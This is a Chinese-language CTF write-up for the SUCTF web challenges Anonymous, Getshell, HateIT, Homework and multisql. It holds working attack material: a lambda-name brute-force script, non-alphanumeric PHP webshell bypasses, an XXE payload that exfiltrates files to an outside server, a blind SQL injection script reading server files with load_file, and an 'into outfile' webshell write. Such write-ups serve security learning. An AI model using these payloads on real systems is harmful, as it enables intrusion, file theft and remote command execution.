[SUCTF] SUCTF web题目 writeup

SUCTF

这周末打了suctf,协会的大佬们都去参加tctf了,
都没人打pwn了,不过最终成绩还可以
不过恭喜协会大佬tctf新人赛第一,出征defcon
没啥会做,只能赛后复现一遍。。
(看了官方的wp发现全是非预期)

Anonymous

这道题一进去就有源码

看到了两个不认识的函数
create_function()
openssl_random_pseudo_bytes()

看到了2017年orange出的ctf比赛的文章
看着差不多=。=,然后一直想着绕过那个伪随机数
openssl_random_pseudo_bytes()是存在一个cve的
cve 2016-8867

create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_%d
https://lorexxar.cn/2017/11/10/hitcon2017-writeup/
这里看了土土的博客2017年的hitcon的比赛
了解到:
当我们能够获取一个反序列化的admin对象之后,我们遇到了新的问题。

获取flag的函数是通过create_function,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为\x00lambda_%d,这里的%d是顺序递增的。

我们仍然可以从php的源码里找到这个问题

https://github.com/php/php-src/blob/d56a534acc52b0bb7d61ac7c3386ab96e8ca4a97/Zend/zend_builtin_functions.c#L1914

    do {
        ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
    } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
    RETURN_NEW_STR(function_name);
} else {
    zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
    RETURN_FALSE;

这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。

import requests
while True:
    r=requests.get('http://web.suctf.asuri.org:81/?func_name=%00lambda_1')
    print(r.text)

不断跑就好了

Getshell

进去就是一个主页,然后你点击upload就可以
看到在这里可以上传文件会发现有一段代码

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

传上去了会发现会给你地址,看下url,就明白了是文件包含
然后利用链也有了么就是先上传
然后再用文件包含访问那个一句话就可以getshell了

主要的问题使要把所有的black_char测试出来看看有哪些没有被过滤
我是用bp来测试的


[SUCTF] SUCTF web题目 writeup_第1张图片

就可以知道了只有上面的那些可以通过黑名单
这个就是一个问题,之前有看过P牛的文章就是不用字母数字的一句话
但是要使用++和^这里被绕过了就要用别的方法了

这时想起离别歌的博客https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html的方法二

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

这些只有在php7的环境下才能实现

根据这些来上传一个php文件

$_POST[a]可以来执行系统命令
就可以了


[SUCTF] SUCTF web题目 writeup_第2张图片

HateIT

首先扫一下站,会发现一个
robots.txt
admin.php
upload/upload.php
.git/
upload/uploa.php不能直接访问,估计是看cookie的

进入robots.txt
[SUCTF] SUCTF web题目 writeup_第3张图片

发现有一个suenc.so

拖入ida查看是怎么加密的,这个交给我们队的bin大佬了
/.git/很坑,用github 的githack只能下载下来一个readme
http://www.bugscan.net/的githack就有四个文件。。。。。惊了


和一个纯是字节码的index.php

前面两个通过.so里面的加密来还原

listA = [0x49,0xfa,0x0,0xfa,0x0,0x23,0xff,0x23,0x8e,0xea,0xfa,0xf3,0xa6,0xf3,0xc6,0x8e]

def decrypt(Str):
    fp2 = open('2.php','wb')
    purpose = ''
    v3 = 0
    purpose += (Str[:12])
    Str2 = Str[12:]
    for i in range(len(Str2)):
        if i % 2 == 1:
            v3 = (i + listA[v3] + v3) & 0xf
            purpose += chr((~(ord(Str2[i])) & 0xff) ^ listA[v3])
        else:
            purpose += Str2[i]
    fp2.write(purpose)
fp = open('admin.php','rb')
a = fp.read()
decrypt(a)

hammer肉眼还原字节码,膜一发

关键地方就是要生成一个token解密之后让info[1]=3
之后在赋值给admin,就可以进入到上传文件的地方了


[SUCTF] SUCTF web题目 writeup_第4张图片
[SUCTF] SUCTF web题目 writeup_第5张图片

因为有秘钥很简单=。=(这里非预期了,应该是不给秘钥的,原来得用CFB重放攻击)
加密解密的脚本都在func_decode.php
写出token的加密脚本

[SUCTF] SUCTF web题目 writeup_第6张图片

就可以用admin的session进入下一关了


审计admin.php源码


[SUCTF] SUCTF web题目 writeup_第7张图片

F12跟进viewImage 跟进ImageView


[SUCTF] SUCTF web题目 writeup_第8张图片

这里可以命令执行

file的地方就可以传进去命令


[SUCTF] SUCTF web题目 writeup_第9张图片
之后就是寻找flag之旅=。=
SUCTF{KyGfsMbkYqMNATETLTYVfCPncbY6HK8G6PbnByUPU5S5xo4tUMVm}

Homework

拿环境复现了一遍
lightless博客讲了xxe的详解
https://lightless.me/archives/Research-On-XXE.html

进入题目首先先注册然后登陆一下

按一下计算会发现

这样好像就是调用了calc函数,里面的三个参数正好是2 a 2

然后就需要寻找一个php的类,然后能在调用类的时候自动传入xml=。=
不过我不懂为什么就可以想到是xxe了

SimpleXMLElement::__construct 创建时自动使用
可以找到一个函数


[SUCTF] SUCTF web题目 writeup_第10张图片

这道题不是很懂,就按wp来

先创建一个obj.xml外部实体


  
%int;  
%all;  
%send;  
]>

evil.xml


">

1.php

$content=$_GET['file'];
file_put_contents("content.txt",$content);

构造payload

http://www.ckj123.com:9999/show.php?module=SimpleXMLElement&args[]=http://www.ckj123.com/XXE/obj.xml&args[]=2&args[]=true
[SUCTF] SUCTF web题目 writeup_第11张图片

不知道为什么一直500(500也没事=。=可以打过去)
200了


[SUCTF] SUCTF web题目 writeup_第12张图片

但是没有任何回显(不知道为什么)
向辉神要了一个payload

  • payload
module=SimpleXMLElement&args[]=<%3Fxml+version%3D"1.0"+%3F>%0A<%21DOCTYPE+r+%5B%0A<%21ELEMENT+r+ANY+>%0A<%21ENTITY+%25+sp+SYSTEM+"http%3A%2F%2Fwww.ckj123.com%2FXXE/test.xml">%0A%25sp%3B%0A%25param1%3B%0A%5D>%0A%26exfil%3B<%2Fr>%0A&args[]=2

payload中的xml




%sp;
%param1;
]>
&exfil;
  • 远程服务器上的xml文件

">
[SUCTF] SUCTF web题目 writeup_第13张图片

终于有回显了!!!!接下来就可以做代码审计了!!

不知道为什么我的一直没用回显

请教了一下辉神,辉神神说可以用相对路径去读取,只要和show.php同一级
推荐我去看一下libxml的源码(挖个坑)

然后读取到了show.php的源码

new sig:".$new_sig);
        }else{
            die("Null filename");
        }
    }

    $username=w_addslashes($_COOKIE['user']);
    $check_code=$_COOKIE['cookie-check'];
    $check_sql="select password from user where username='".$username."'";
    $check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
    if($check_sum!==$check_code){
        header("Location: login.php");
    }

    $module=$_GET['module'];
    $args=$_GET['args'];
    do_api($module,$args);
?>

看到了一个config
function.php

2*1024*1024){
            die("File is larger than 2M, forbidden upload");
        }
        if(is_uploaded_file($_FILES['file']['tmp_name'])){
            if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
                $filehash=md5(mt_rand());
                if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed") die("Upload failed");
                $new_filename="./upload/".$filehash.".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }else{
                $hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
                $new_filename="./upload/".$hash[0][0].".txt";
                move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
                die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
            }
        }else{
            die("Not upload file");
        }
    }
}



function w_addslashes($string){
    return addslashes(trim($string));
}



function do_api($module,$args){
    $class = new ReflectionClass($module);
    $a=$class->newInstanceArgs($args);
}
?>

index.php没啥用


[SUCTF] SUCTF web题目 writeup_第14张图片

这里好像有两次转义.我错了是二次注入
拿出来的时候没有过滤了可以用16进制

但是本地测试的时候


[SUCTF] SUCTF web题目 writeup_第15张图片

[SUCTF] SUCTF web题目 writeup_第16张图片

尴尬

multisql

题目是用的公开CMS

https://github.com/Eworld97/php_audit/tree/master/VAuditDemo

首先注册一下,看一下用户信息有个id,会发现有一个id
http://web.suctf.asuri.org:85/user/user.php?id=22908

试一下^发现有数字型注入点

上传一个images,发现
文件名规则为 md5(user_name).jpg

会发现有文件读写权限
目录限制/var/www/

用mysql的file_load语句读取文件


#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests

s = requests.session()

filename = "0x"+"/var/www/html/bwvs_config/waf.php".encode('hex')

print filename

content = "".encode("hex")

for i in range(0,99999):

for i in range(33,128):

url = "http://web.suctf.asuri.org:85/user/user.php?id=if(hex(mid(load_file("+filename+"),1,9999))>0x"+ content + chr(i).encode('hex') +",3,1)"

cookies = {"PHPSESSID":"lhctsn1getr97rpf54cp6bp6q0"}

r = s.post(url = url ,cookies = cookies)

if "user_id:1" in r.text:

print "no"

content = content + chr(i-1).encode('hex')

print content.decode("hex")

break

else:

continue**
function waf($str){

$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";

$str = preg_replace($black_str, "@@",$str);

return addslashes($str);

}

先注册一个$_POST[c];?>

再注册

$_POST[c];?>'into outfile'/var/www/html/favicon/c1.php

退出后登录,生成shell
就可以任意命令执行了(本地复现一直不行)不知道为什么

你可能感兴趣的:([SUCTF] SUCTF web题目 writeup)